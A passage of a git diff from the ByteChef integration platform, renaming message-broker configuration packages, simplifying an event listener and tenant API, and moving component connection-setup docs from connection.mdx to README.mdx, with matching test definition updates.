rename to server/libs/core/message/message-broker/message-broker-jms/src/main/java/com/bytechef/message/broker/jms/env/JmsMessageBrokerEnvironmentPostProcessor.java
index f59e67481bd..37a6b2ffba5 100644
--- a/server/libs/core/message/message-broker/message-broker-jms/src/main/java/com/bytechef/message/broker/jms/boot/JmsMessageBrokerEnvironmentPostProcessor.java
+++ b/server/libs/core/message/message-broker/message-broker-jms/src/main/java/com/bytechef/message/broker/jms/env/JmsMessageBrokerEnvironmentPostProcessor.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.bytechef.message.broker.jms.boot;
+package com.bytechef.message.broker.jms.env;
 
 import java.util.HashMap;
 import java.util.Map;
@@ -41,8 +41,8 @@ public void postProcessEnvironment(ConfigurableEnvironment environment, SpringAp
                 StringUtils.join(
                     environment.getProperty("spring.autoconfigure.exclude"),
                     StringUtils.join(
-                        ", org.springframework.boot.jms.autoconfigure.JmsAutoConfiguration",
-                        ", org.springframework.boot.artemis.autoconfigure.ArtemisAutoConfiguration")));
+                        ",org.springframework.boot.autoconfigure.jms.JmsAutoConfiguration",
+                        ",org.springframework.boot.autoconfigure.jms.artemis.ArtemisAutoConfiguration")));
         }
 
         MapPropertySource mapPropertySource = new MapPropertySource("Custom JMS Message Broker Config", source);
diff --git a/server/libs/core/message/message-broker/message-broker-jms/src/main/resources/META-INF/spring.factories b/server/libs/core/message/message-broker/message-broker-jms/src/main/resources/META-INF/spring.factories
index 1c92397112e..6e4fd3f9056 100644
--- a/server/libs/core/message/message-broker/message-broker-jms/src/main/resources/META-INF/spring.factories
+++ b/server/libs/core/message/message-broker/message-broker-jms/src/main/resources/META-INF/spring.factories
@@ -1,2 +1,2 @@
 org.springframework.boot.EnvironmentPostProcessor=\
-com.bytechef.message.broker.jms.boot.JmsMessageBrokerEnvironmentPostProcessor
+com.bytechef.message.broker.jms.env.JmsMessageBrokerEnvironmentPostProcessor
diff --git a/server/libs/core/message/message-broker/message-broker-kafka/src/main/java/com/bytechef/message/broker/kafka/boot/KafkaMessageBrokerEnvironmentPostProcessor.java b/server/libs/core/message/message-broker/message-broker-kafka/src/main/java/com/bytechef/message/broker/kafka/env/KafkaMessageBrokerEnvironmentPostProcessor.java
similarity index 92%
rename from server/libs/core/message/message-broker/message-broker-kafka/src/main/java/com/bytechef/message/broker/kafka/boot/KafkaMessageBrokerEnvironmentPostProcessor.java
rename to server/libs/core/message/message-broker/message-broker-kafka/src/main/java/com/bytechef/message/broker/kafka/env/KafkaMessageBrokerEnvironmentPostProcessor.java
index fdb41510157..84c21cfe2a4 100644
--- a/server/libs/core/message/message-broker/message-broker-kafka/src/main/java/com/bytechef/message/broker/kafka/boot/KafkaMessageBrokerEnvironmentPostProcessor.java
+++ b/server/libs/core/message/message-broker/message-broker-kafka/src/main/java/com/bytechef/message/broker/kafka/env/KafkaMessageBrokerEnvironmentPostProcessor.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.bytechef.message.broker.kafka.boot;
+package com.bytechef.message.broker.kafka.env;
 
 import java.util.HashMap;
 import java.util.Map;
@@ -40,7 +40,7 @@ public void postProcessEnvironment(ConfigurableEnvironment environment, SpringAp
                 "spring.autoconfigure.exclude",
                 StringUtils.join(
                     environment.getProperty("spring.autoconfigure.exclude"),
-                    ", org.springframework.boot.kafka.autoconfigure.KafkaAutoConfiguration"));
+                    ",org.springframework.boot.autoconfigure.kafka.KafkaAutoConfiguration"));
         }
 
         MapPropertySource mapPropertySource = new MapPropertySource("Custom Kafka Message Broker Config", source);
diff --git a/server/libs/core/message/message-broker/message-broker-kafka/src/main/resources/META-INF/spring.factories b/server/libs/core/message/message-broker/message-broker-kafka/src/main/resources/META-INF/spring.factories
index 579d7ea064f..ac53c41fb6d 100644
--- a/server/libs/core/message/message-broker/message-broker-kafka/src/main/resources/META-INF/spring.factories
+++ b/server/libs/core/message/message-broker/message-broker-kafka/src/main/resources/META-INF/spring.factories
@@ -1,2 +1,2 @@
 org.springframework.boot.EnvironmentPostProcessor=\
-com.bytechef.message.broker.kafka.boot.KafkaMessageBrokerEnvironmentPostProcessor
+com.bytechef.message.broker.kafka.env.KafkaMessageBrokerEnvironmentPostProcessor
diff --git a/server/libs/core/message/message-broker/message-broker-redis/src/main/java/com/bytechef/message/broker/redis/boot/RedisMessageBrokerEnvironmentPostProcessor.java b/server/libs/core/message/message-broker/message-broker-redis/src/main/java/com/bytechef/message/broker/redis/config/RedisMessageBrokerEnvironmentPostProcessor.java
similarity index 92%
rename from server/libs/core/message/message-broker/message-broker-redis/src/main/java/com/bytechef/message/broker/redis/boot/RedisMessageBrokerEnvironmentPostProcessor.java
rename to server/libs/core/message/message-broker/message-broker-redis/src/main/java/com/bytechef/message/broker/redis/config/RedisMessageBrokerEnvironmentPostProcessor.java
index 2c94e26b7e0..bf9e6e683a6 100644
--- a/server/libs/core/message/message-broker/message-broker-redis/src/main/java/com/bytechef/message/broker/redis/boot/RedisMessageBrokerEnvironmentPostProcessor.java
+++ b/server/libs/core/message/message-broker/message-broker-redis/src/main/java/com/bytechef/message/broker/redis/config/RedisMessageBrokerEnvironmentPostProcessor.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.bytechef.message.broker.redis.boot;
+package com.bytechef.message.broker.redis.config;
 
 import java.util.HashMap;
 import java.util.Map;
@@ -40,7 +40,7 @@ public void postProcessEnvironment(ConfigurableEnvironment environment, SpringAp
             source.computeIfPresent(
                 "spring.autoconfigure.exclude",
                 (k, v) -> ((String) v).replace(
-                    "org.springframework.boot.data.redis.autoconfigure.DataRedisAutoConfiguration,", ""));
+                    ", org.springframework.boot.autoconfigure.data.redis.RedisAutoConfiguration", ""));
         }
 
         MapPropertySource mapPropertySource = new MapPropertySource("Custom Redis Message Broker Config", source);
diff --git a/server/libs/core/message/message-broker/message-broker-redis/src/main/resources/META-INF/spring.factories b/server/libs/core/message/message-broker/message-broker-redis/src/main/resources/META-INF/spring.factories
index 204d5c2e66f..9d814532c06 100644
--- a/server/libs/core/message/message-broker/message-broker-redis/src/main/resources/META-INF/spring.factories
+++ b/server/libs/core/message/message-broker/message-broker-redis/src/main/resources/META-INF/spring.factories
@@ -1,2 +1,2 @@
 org.springframework.boot.EnvironmentPostProcessor=\
-com.bytechef.message.broker.redis.boot.RedisMessageBrokerEnvironmentPostProcessor
+com.bytechef.message.broker.redis.config.RedisMessageBrokerEnvironmentPostProcessor
diff --git a/server/libs/core/message/message-event/message-event-impl/build.gradle.kts b/server/libs/core/message/message-event/message-event-impl/build.gradle.kts
index b0f83316bf8..f206aa66c3f 100644
--- a/server/libs/core/message/message-event/message-event-impl/build.gradle.kts
+++ b/server/libs/core/message/message-event/message-event-impl/build.gradle.kts
@@ -2,7 +2,6 @@ dependencies {
     api(project(":server:libs:core:message:message-event:message-event-api"))
 
     implementation("org.slf4j:slf4j-api")
-    implementation("org.springframework:spring-tx")
     implementation("org.springframework.boot:spring-boot-autoconfigure")
     implementation(project(":server:libs:core:tenant:tenant-api"))
 }
diff --git a/server/libs/core/message/message-event/message-event-impl/src/main/java/com/bytechef/message/event/listener/MessageEventListener.java b/server/libs/core/message/message-event/message-event-impl/src/main/java/com/bytechef/message/event/listener/MessageEventListener.java
index ae65d472feb..ed37ae908b6 100644
--- a/server/libs/core/message/message-event/message-event-impl/src/main/java/com/bytechef/message/event/listener/MessageEventListener.java
+++ b/server/libs/core/message/message-event/message-event-impl/src/main/java/com/bytechef/message/event/listener/MessageEventListener.java
@@ -26,10 +26,9 @@
 import java.util.List;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
+import org.springframework.context.event.EventListener;
 import org.springframework.scheduling.annotation.Async;
 import org.springframework.stereotype.Component;
-import org.springframework.transaction.event.TransactionPhase;
-import org.springframework.transaction.event.TransactionalEventListener;
 
 /**
  * @author Ivica Cardic
@@ -50,7 +49,7 @@ public MessageEventListener(
         this.messageEventPreSendProcessors = messageEventPreSendProcessors;
     }
 
-    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT, fallbackExecution = true)
+    @EventListener
     @Async
     public void onMessageEvent(MessageEvent<?> messageEvent) {
         if (logger.isTraceEnabled()) {
diff --git a/server/libs/core/tenant/tenant-api/src/main/java/com/bytechef/tenant/TenantContext.java b/server/libs/core/tenant/tenant-api/src/main/java/com/bytechef/tenant/TenantContext.java
index da17c995c0e..9bc7178d4ff 100644
--- a/server/libs/core/tenant/tenant-api/src/main/java/com/bytechef/tenant/TenantContext.java
+++ b/server/libs/core/tenant/tenant-api/src/main/java/com/bytechef/tenant/TenantContext.java
@@ -51,12 +51,6 @@ public static String getCurrentDatabaseSchema() {
             : TenantConstants.TENANT_PREFIX + "_" + getCurrentTenantId();
     }
 
-    public static String getCurrentDatabaseSchema(String suffix) {
-        return Objects.equals(getCurrentTenantId(), DEFAULT_TENANT_ID)
-            ? DEFAULT_TENANT_ID
-            : TenantConstants.TENANT_PREFIX + "_" + suffix + "_" + getCurrentTenantId();
-    }
-
     public static String getCurrentTenantId() {
         return currentTenant.get();
     }
diff --git a/server/libs/core/tenant/tenant-api/src/main/java/com/bytechef/tenant/event/TenantSchemaCreatedEvent.java b/server/libs/core/tenant/tenant-api/src/main/java/com/bytechef/tenant/event/TenantSchemaCreatedEvent.java
deleted file mode 100644
index 13b33453fb4..00000000000
--- a/server/libs/core/tenant/tenant-api/src/main/java/com/bytechef/tenant/event/TenantSchemaCreatedEvent.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.tenant.event;
-
-import org.springframework.context.ApplicationEvent;
-
-/**
- * Application event published when a new tenant schema is created. Listeners can react to this event to initialize
- * tenant-specific resources in external data sources.
- *
- * @author Ivica Cardic
- */
-public class TenantSchemaCreatedEvent extends ApplicationEvent {
-
-    private final String tenantId;
-
-    public TenantSchemaCreatedEvent(String tenantId) {
-        super(tenantId);
-
-        this.tenantId = tenantId;
-    }
-
-    public String getTenantId() {
-        return tenantId;
-    }
-
-    @Override
-    public String toString() {
-        return "TenantSchemaCreatedEvent{" +
-            "tenantId='" + tenantId + '\'' +
-            "} " + super.toString();
-    }
-}
diff --git a/server/libs/modules/components/accelo/src/main/resources/connection.mdx b/server/libs/modules/components/accelo/src/main/resources/README.mdx
similarity index 100%
rename from server/libs/modules/components/accelo/src/main/resources/connection.mdx
rename to server/libs/modules/components/accelo/src/main/resources/README.mdx
diff --git a/server/libs/modules/components/accelo/src/test/resources/definition/accelo_v1.json b/server/libs/modules/components/accelo/src/test/resources/definition/accelo_v1.json
index e7da77ca51e..89890a51128 100644
--- a/server/libs/modules/components/accelo/src/test/resources/definition/accelo_v1.json
+++ b/server/libs/modules/components/accelo/src/test/resources/definition/accelo_v1.json
@@ -1631,8 +1631,6 @@
       "type": "OAUTH2_AUTHORIZATION_CODE"
     } ],
     "baseUri": { },
-    "help": null,
-    "processErrorResponse": null,
     "properties": null,
     "test": null,
     "version": 1
diff --git a/server/libs/modules/components/active-campaign/src/main/resources/README.mdx b/server/libs/modules/components/active-campaign/src/main/resources/README.mdx
new file mode 100644
index 00000000000..c059b5f760e
--- /dev/null
+++ b/server/libs/modules/components/active-campaign/src/main/resources/README.mdx
@@ -0,0 +1,13 @@
+## Connection Setup
+
+### Find API Key
+
+1. Navigate to your [ActiveCampaign](https://www.activecampaign.com/) dashboard.
+2. Click on **Setting**.
+3. Click on **Developer**.
+4. Here you can see your **API Access Key** and your **API Access URL** from which you can read out your account name.
+5. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/4f5e4c93-f9e9-43d3-84ff-46a1ec62f7a7?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/server/libs/modules/components/active-campaign/src/main/resources/connection.mdx b/server/libs/modules/components/active-campaign/src/main/resources/connection.mdx
deleted file mode 100644
index a6f2dfbc2a8..00000000000
--- a/server/libs/modules/components/active-campaign/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,13 +0,0 @@
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your [ActiveCampaign](https://www.activecampaign.com/) dashboard.
-2. Click on **Setting**.
-3. Click on **Developer**.
-4. Here you can see your **API Access Key** and your **API Access URL** from which you can read out your account name.
-5. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/4f5e4c93-f9e9-43d3-84ff-46a1ec62f7a7?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/active-campaign/src/test/resources/definition/active-campaign_v1.json b/server/libs/modules/components/active-campaign/src/test/resources/definition/active-campaign_v1.json
index 7e3a33bb8a4..9849a056414 100644
--- a/server/libs/modules/components/active-campaign/src/test/resources/definition/active-campaign_v1.json
+++ b/server/libs/modules/components/active-campaign/src/test/resources/definition/active-campaign_v1.json
@@ -2463,8 +2463,6 @@
       "type": "API_KEY"
     } ],
     "baseUri": { },
-    "help": null,
-    "processErrorResponse": null,
     "properties": null,
     "test": null,
     "version": 1
diff --git a/server/libs/modules/components/acumbamail/src/main/resources/README.mdx b/server/libs/modules/components/acumbamail/src/main/resources/README.mdx
new file mode 100644
index 00000000000..094ea58e7d3
--- /dev/null
+++ b/server/libs/modules/components/acumbamail/src/main/resources/README.mdx
@@ -0,0 +1,9 @@
+## Connection Setup
+
+1. Go to https://acumbamail.com/apidoc/.
+2. Log in to your account.
+3. Copy the auth token. Use these credentials to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/mVotYQrVYC6y0NA3uTZf?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/server/libs/modules/components/acumbamail/src/main/resources/connection.mdx b/server/libs/modules/components/acumbamail/src/main/resources/connection.mdx
deleted file mode 100644
index b4ff8e37f98..00000000000
--- a/server/libs/modules/components/acumbamail/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,9 +0,0 @@
-## Connection Setup
-
-1. Go to https://acumbamail.com/apidoc/.
-2. Log in to your account.
-3. Copy the auth token. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/mVotYQrVYC6y0NA3uTZf?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/acumbamail/src/test/resources/definition/acumbamail_v1.json b/server/libs/modules/components/acumbamail/src/test/resources/definition/acumbamail_v1.json
index 3bb760e5a62..03686630259 100644
--- a/server/libs/modules/components/acumbamail/src/test/resources/definition/acumbamail_v1.json
+++ b/server/libs/modules/components/acumbamail/src/test/resources/definition/acumbamail_v1.json
@@ -463,8 +463,6 @@
       "type": "CUSTOM"
     } ],
     "baseUri": { },
-    "help": null,
-    "processErrorResponse": null,
     "properties": null,
     "test": null,
     "version": 1
diff --git a/server/libs/modules/components/affinity/src/test/resources/definition/affinity_v1.json b/server/libs/modules/components/affinity/src/test/resources/definition/affinity_v1.json
index 0c92be018eb..5248825f8e9 100644
--- a/server/libs/modules/components/affinity/src/test/resources/definition/affinity_v1.json
+++ b/server/libs/modules/components/affinity/src/test/resources/definition/affinity_v1.json
@@ -1736,8 +1736,6 @@
       "type": "BEARER_TOKEN"
     } ],
     "baseUri": { },
-    "help": null,
-    "processErrorResponse": null,
     "properties": null,
     "test": null,
     "version": 1
diff --git a/server/libs/modules/components/agile-crm/src/main/resources/README.mdx b/server/libs/modules/components/agile-crm/src/main/resources/README.mdx
new file mode 100644
index 00000000000..b3ce4cd2cad
--- /dev/null
+++ b/server/libs/modules/components/agile-crm/src/main/resources/README.mdx
@@ -0,0 +1,13 @@
+## Connection Setup
+
+### Find REST API Key
+
+1. Navigate to your dashboard.
+2. Click on your profile image.
+3. Click on **Admin Settings**.
+4. Click on **Developers & API**.
+5. Click on REST API.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/5a82d645-7647-462e-a2a2-0723cc61fff3?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/server/libs/modules/components/agile-crm/src/main/resources/connection.mdx b/server/libs/modules/components/agile-crm/src/main/resources/connection.mdx
deleted file mode 100644
index 1eb1f3676fa..00000000000
--- a/server/libs/modules/components/agile-crm/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,13 +0,0 @@
-## Connection Setup
-
-### Find REST API Key
-
-1. Navigate to your dashboard.
-2. Click on your profile image.
-3. Click on **Admin Settings**.
-4. Click on **Developers & API**.
-5. Click on REST API.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/5a82d645-7647-462e-a2a2-0723cc61fff3?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/agile-crm/src/test/resources/definition/agile-crm_v1.json b/server/libs/modules/components/agile-crm/src/test/resources/definition/agile-crm_v1.json
index e24db5d1c46..da631f66fbc 100644
--- a/server/libs/modules/components/agile-crm/src/test/resources/definition/agile-crm_v1.json
+++ b/server/libs/modules/components/agile-crm/src/test/resources/definition/agile-crm_v1.json
@@ -12731,8 +12731,6 @@
       "type": "BASIC_AUTH"
     } ],
     "baseUri": { },
-    "help": null,
-    "processErrorResponse": null,
     "properties": null,
     "test": null,
     "version": 1
diff --git a/server/libs/modules/components/aha/src/main/java/com/bytechef/component/aha/AhaComponentHandler.java b/server/libs/modules/components/aha/src/main/java/com/bytechef/component/aha/AhaComponentHandler.java
index 1c19592ed51..964b7a5aaee 100644
--- a/server/libs/modules/components/aha/src/main/java/com/bytechef/component/aha/AhaComponentHandler.java
+++ b/server/libs/modules/components/aha/src/main/java/com/bytechef/component/aha/AhaComponentHandler.java
@@ -45,9 +45,7 @@ public class AhaComponentHandler extends AbstractAhaComponentHandler {
     @Override
     public List<ModifiableActionDefinition> modifyActions(ModifiableActionDefinition... actionDefinitions) {
         for (ModifiableActionDefinition modifiableActionDefinition : actionDefinitions) {
-            String name = modifiableActionDefinition.getName();
-
-            if (Objects.equals(name, "createFeature")) {
+            if (Objects.equals(modifiableActionDefinition.getName(), "createFeature")) {
                 Optional<List<? extends Property>> propertiesOptional = modifiableActionDefinition.getProperties();
 
                 List<Property> properties = new ArrayList<>(propertiesOptional.orElse(List.of()));
@@ -60,10 +58,6 @@ public List<ModifiableActionDefinition> modifyActions(ModifiableActionDefinition
                         .required(false));
 
                 modifiableActionDefinition.properties(properties);
-                modifiableActionDefinition.help(
-                    "", "https://docs.bytechef.io/reference/components/aha_v1#create-feature");
-            } else if (Objects.equals(name, "createIdea")) {
-                modifiableActionDefinition.help("", "https://docs.bytechef.io/reference/components/aha_v1#create-idea");
             }
         }
 
@@ -73,11 +67,9 @@ public List<ModifiableActionDefinition> modifyActions(ModifiableActionDefinition
     @Override
     public ModifiableComponentDefinition modifyComponent(ModifiableComponentDefinition modifiableComponentDefinition) {
         return modifiableComponentDefinition
-            .customActionHelp("", "https://www.aha.io/api")
             .customAction(true)
             .icon("path:assets/aha.svg")
-            .categories(ComponentCategory.PRODUCTIVITY_AND_COLLABORATION)
-            .version(1);
+            .categories(ComponentCategory.PRODUCTIVITY_AND_COLLABORATION);
     }
 
     @Override
@@ -112,8 +104,6 @@ public ModifiableConnectionDefinition modifyConnection(
 
         return modifiableConnectionDefinition
             .baseUri((connectionParameters, context) -> "https://%s.aha.io/api/v1"
-                .formatted(connectionParameters.getRequiredString(SUBDOMAIN)))
-            .help("", "https://docs.bytechef.io/reference/components/aha_v1#connection-setup")
-            .version(1);
+                .formatted(connectionParameters.getRequiredString(SUBDOMAIN)));
     }
 }
diff --git a/server/libs/modules/components/aha/src/main/resources/README.mdx b/server/libs/modules/components/aha/src/main/resources/README.mdx
index 210b5bdf589..221197461e0 100644
--- a/server/libs/modules/components/aha/src/main/resources/README.mdx
+++ b/server/libs/modules/components/aha/src/main/resources/README.mdx
@@ -1,22 +1,20 @@
-### How to find the Release ID
+## Connection Setup
 
-The Release ID (also known as the Reference Number) can be found in the Aha! UI or via the API.
+### Create OAuth Application
 
-#### In the Aha! UI
-- **Release Detail View**: Open a specific release. The Reference Number (e.g., `APP-R-1`) is displayed in the header or in the URL.
-- **Gantt Views**: **Releases** → **Gantt**. The Reference Number is shown in its own column.
-- **Search**: Use the search bar (or press `/`) and type the release name. The Reference Number (e.g., `APP-R-1`) will appear in the results.
+1. Navigate to your Aha! dashboard.
+2. Click on **Personal**.
+3. Click on **Developer**.
+4. Click on **OAuth applications**.
+5. Click on **Register OAuth application**.
+6. Enter name of your OAuth application.
+7. Enter **Redirect URI** depending on your instance:
+    - `https://app.bytechef.io/callback` (Cloud)
+    - `http://localhost:5173/callback` (Local dev)
+8. Click **Create**.
+9. Here you can see your credentials.
+10. Done 🚀.
 
-#### Via API
-- Use the `GET /products/{product_id}/releases` endpoint.
-- List releases within a product to retrieve their IDs.
-
-### How to find the Product ID
-
-The Product ID is a unique numeric value that can be found in the URL or via the API.
-
-#### Via API
-- Use the `GET /products` endpoint to retrieve a list of all products and their numeric IDs.
-
-#### Via Search
-- Press `/` to open the search modal. Recently viewed products will be listed with their IDs.
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/739b69f7-a2e8-44de-9a31-1957c6c67f9c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/server/libs/modules/components/aha/src/main/resources/connection.mdx b/server/libs/modules/components/aha/src/main/resources/connection.mdx
deleted file mode 100644
index cf8807f29df..00000000000
--- a/server/libs/modules/components/aha/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,20 +0,0 @@
-## Connection Setup
-
-### Create OAuth Application
-
-1. Navigate to your Aha! dashboard.
-2. Click on **Personal**.
-3. Click on **Developer**.
-4. Click on **OAuth applications**.
-5. Click on **Register OAuth application**.
-6. Enter name of your OAuth application.
-7. Enter **Redirect URI** depending on your instance:
-    - `https://app.bytechef.io/callback` (Cloud)
-    - `http://localhost:5173/callback` (Local dev)
-8. Click **Create**.
-9. Here you can see your credentials.
-10. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/739b69f7-a2e8-44de-9a31-1957c6c67f9c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/aha/src/main/resources/createFeature.mdx b/server/libs/modules/components/aha/src/main/resources/createFeature.mdx
deleted file mode 100644
index 480fef84de8..00000000000
--- a/server/libs/modules/components/aha/src/main/resources/createFeature.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
-#### Find product ID and release ID
-
-To find the Product ID, click [here](/reference/components/aha_v1#how-to-find-the-product-id).
-
-To find the Release ID, click [here](/reference/components/aha_v1#how-to-find-the-release-id).
diff --git a/server/libs/modules/components/aha/src/main/resources/createIdea.mdx b/server/libs/modules/components/aha/src/main/resources/createIdea.mdx
deleted file mode 100644
index 480fef84de8..00000000000
--- a/server/libs/modules/components/aha/src/main/resources/createIdea.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
-#### Find product ID and release ID
-
-To find the Product ID, click [here](/reference/components/aha_v1#how-to-find-the-product-id).
-
-To find the Release ID, click [here](/reference/components/aha_v1#how-to-find-the-release-id).
diff --git a/server/libs/modules/components/aha/src/test/resources/definition/aha_v1.json b/server/libs/modules/components/aha/src/test/resources/definition/aha_v1.json
index 067a9e5f671..071ddbe60ad 100644
--- a/server/libs/modules/components/aha/src/test/resources/definition/aha_v1.json
+++ b/server/libs/modules/components/aha/src/test/resources/definition/aha_v1.json
@@ -6,10 +6,7 @@
     "beforeTimeoutResume": null,
     "deprecated": null,
     "description": "Creates a new feature.",
-    "help": {
-      "body": "",
-      "learnMoreUrl": "https://docs.bytechef.io/reference/components/aha_v1#create-feature"
-    },
+    "help": null,
     "metadata": {
       "path": "/releases/{releaseId}/features",
       "mimeType": "application/json",
@@ -1313,10 +1310,7 @@
     "beforeTimeoutResume": null,
     "deprecated": null,
     "description": "Creates a new idea.",
-    "help": {
-      "body": "",
-      "learnMoreUrl": "https://docs.bytechef.io/reference/components/aha_v1#create-idea"
-    },
+    "help": null,
     "metadata": {
       "path": "/products/{productId}/ideas",
       "mimeType": "application/json",
@@ -3521,20 +3515,12 @@
       "type": "OAUTH2_AUTHORIZATION_CODE"
     } ],
     "baseUri": { },
-    "help": {
-      "body": "",
-      "learnMoreUrl": "https://docs.bytechef.io/reference/components/aha_v1#connection-setup"
-    },
-    "processErrorResponse": null,
     "properties": null,
     "test": null,
     "version": 1
   },
   "customAction": true,
-  "customActionHelp": {
-    "body": "",
-    "learnMoreUrl": "https://www.aha.io/api"
-  },
+  "customActionHelp": null,
   "description": "Aha! is a comprehensive product management software platform that helps teams set strategy, capture ideas, and plan, prioritize, and track work to build products customers love.",
   "icon": "path:assets/aha.svg",
   "metadata": null,
diff --git a/server/libs/modules/components/ahrefs/src/test/resources/definition/ahrefs_v1.json b/server/libs/modules/components/ahrefs/src/test/resources/definition/ahrefs_v1.json
index 22a1082cb41..dc766702128 100644
--- a/server/libs/modules/components/ahrefs/src/test/resources/definition/ahrefs_v1.json
+++ b/server/libs/modules/components/ahrefs/src/test/resources/definition/ahrefs_v1.json
@@ -2862,8 +2862,6 @@
       "type": "BEARER_TOKEN"
     } ],
     "baseUri": { },
-    "help": null,
-    "processErrorResponse": null,
     "properties": null,
     "test": null,
     "version": 1
diff --git a/server/libs/modules/components/ai/agent/build.gradle.kts b/server/libs/modules/components/ai/agent/build.gradle.kts
index c225e96cd1a..4dd429c2e45 100644
--- a/server/libs/modules/components/ai/agent/build.gradle.kts
+++ b/server/libs/modules/components/ai/agent/build.gradle.kts
@@ -2,7 +2,6 @@ dependencies {
     implementation("org.slf4j:slf4j-api")
     implementation("org.springframework:spring-context")
     implementation(project(":server:libs:core:commons:commons-util"))
-    implementation(project(":server:libs:platform:platform-workflow:platform-workflow-worker:platform-workflow-worker-api"))
 
     implementation(project(":server:libs:modules:components:ai:llm"))
 }
diff --git a/server/libs/modules/components/ai/agent/chat-memory/chat-memory-vectorstore/src/main/java/com/bytechef/component/ai/chat/memory/cluster/VectorStoreChatMemory.java b/server/libs/modules/components/ai/agent/chat-memory/chat-memory-vectorstore/src/main/java/com/bytechef/component/ai/chat/memory/cluster/VectorStoreChatMemory.java
index 57dd88cbf25..2b4728cc47d 100644
--- a/server/libs/modules/components/ai/agent/chat-memory/chat-memory-vectorstore/src/main/java/com/bytechef/component/ai/chat/memory/cluster/VectorStoreChatMemory.java
+++ b/server/libs/modules/components/ai/agent/chat-memory/chat-memory-vectorstore/src/main/java/com/bytechef/component/ai/chat/memory/cluster/VectorStoreChatMemory.java
@@ -78,9 +78,9 @@ protected VectorStoreChatMemoryAdvisor apply(
         Builder builder = VectorStoreChatMemoryAdvisor
             .builder(
                 vectorStoreFunction.apply(
-                    ParametersFactory.create(clusterElement.getParameters()),
-                    ParametersFactory.create(componentConnectionConnectionParameters),
-                    ParametersFactory.create(clusterElement.getExtensions()), componentConnections))
+                    ParametersFactory.createParameters(clusterElement.getParameters()),
+                    ParametersFactory.createParameters(componentConnectionConnectionParameters),
+                    ParametersFactory.createParameters(clusterElement.getExtensions()), componentConnections))
             .defaultTopK(
                 inputParameters.getInteger(CHAT_MEMORY_RETRIEVE_SIZE, 20));
 
diff --git a/server/libs/modules/components/ai/agent/rag/rag-modular/document-retriever/src/main/java/com/bytechef/component/ai/rag/modular/document/retriever/cluster/VectorStoreDocumentRetriever.java b/server/libs/modules/components/ai/agent/rag/rag-modular/document-retriever/src/main/java/com/bytechef/component/ai/rag/modular/document/retriever/cluster/VectorStoreDocumentRetriever.java
index e5a97159c80..fa906536a09 100644
